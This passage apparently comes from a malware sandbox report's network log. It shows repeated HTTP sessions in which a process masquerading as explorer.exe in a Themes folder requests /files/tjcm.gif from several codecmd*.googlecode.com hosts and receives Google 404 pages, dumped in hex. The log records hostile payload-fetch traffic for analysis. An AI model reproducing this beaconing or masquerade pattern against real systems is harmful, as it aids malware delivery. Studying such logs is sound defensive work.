Jul 16, 2022 23:58:12.355838060 CEST	2689	IN	Data Raw: 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 2d 77 65 62 6b 69 74 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 Data Ascii: ing/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:150px} </style> <a href=//www.google.com/><span id=logo aria-label=Google></span></a> <p><b>404.</

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
26	192.168.2.5	49879	142.250.102.82	80	C:\Windows\Resources\Themes\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jul 16, 2022 23:58:13.655021906 CEST	2697	OUT	GET /files/tjcm.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: codecmd03.googlecode.com Connection: Keep-Alive
Jul 16, 2022 23:58:13.681955099 CEST	2698	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1575 Date: Sat, 16 Jul 2022 21:58:13 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 20 30 25 20 30 25 2f 31 30 30 25 20 31 30 30 25 3b 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 69 6d 61 67 65 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 30 7d 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) 0}}@media only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/brand
Jul 16, 2022 23:58:13.682207108 CEST	2699	IN	Data Raw: 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 2d 77 65 62 6b 69 74 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 Data Ascii: ing/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:150px} </style> <a href=//www.google.com/><span id=logo aria-label=Google></span></a> <p><b>404.</

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
27	192.168.2.5	49880	142.250.102.82	80	C:\Windows\Resources\Themes\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jul 16, 2022 23:58:15.027226925 CEST	2699	OUT	GET /files/tjcm.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: codecmd01.googlecode.com Connection: Keep-Alive
Jul 16, 2022 23:58:15.063011885 CEST	2701	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1575 Date: Sat, 16 Jul 2022 21:58:15 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 20 30 25 20 30 25 2f 31 30 30 25 20 31 30 30 25 3b 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 69 6d 61 67 65 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 30 7d 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) 0}}@media only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/brand
Jul 16, 2022 23:58:15.063050032 CEST	2701	IN	Data Raw: 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 2d 77 65 62 6b 69 74 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 Data Ascii: ing/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:150px} </style> <a href=//www.google.com/><span id=logo aria-label=Google></span></a> <p><b>404.</

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
28	192.168.2.5	49881	142.250.102.82	80	C:\Windows\Resources\Themes\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jul 16, 2022 23:58:16.399426937 CEST	2702	OUT	GET /files/tjcm.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: codecmd02.googlecode.com Connection: Keep-Alive
Jul 16, 2022 23:58:16.426215887 CEST	2703	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1575 Date: Sat, 16 Jul 2022 21:58:16 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 20 30 25 20 30 25 2f 31 30 30 25 20 31 30 30 25 3b 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 69 6d 61 67 65 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 30 7d 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) 0}}@media only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/brand
Jul 16, 2022 23:58:16.426249981 CEST	2704	IN	Data Raw: 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 2d 77 65 62 6b 69 74 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 Data Ascii: ing/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:150px} </style> <a href=//www.google.com/><span id=logo aria-label=Google></span></a> <p><b>404.</

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
29	192.168.2.5	49882	142.250.102.82	80	C:\Windows\Resources\Themes\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jul 16, 2022 23:58:17.677611113 CEST	2704	OUT	GET /files/tjcm.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: codecmd03.googlecode.com Connection: Keep-Alive
Jul 16, 2022 23:58:17.704286098 CEST	2706	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1575 Date: Sat, 16 Jul 2022 21:58:17 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 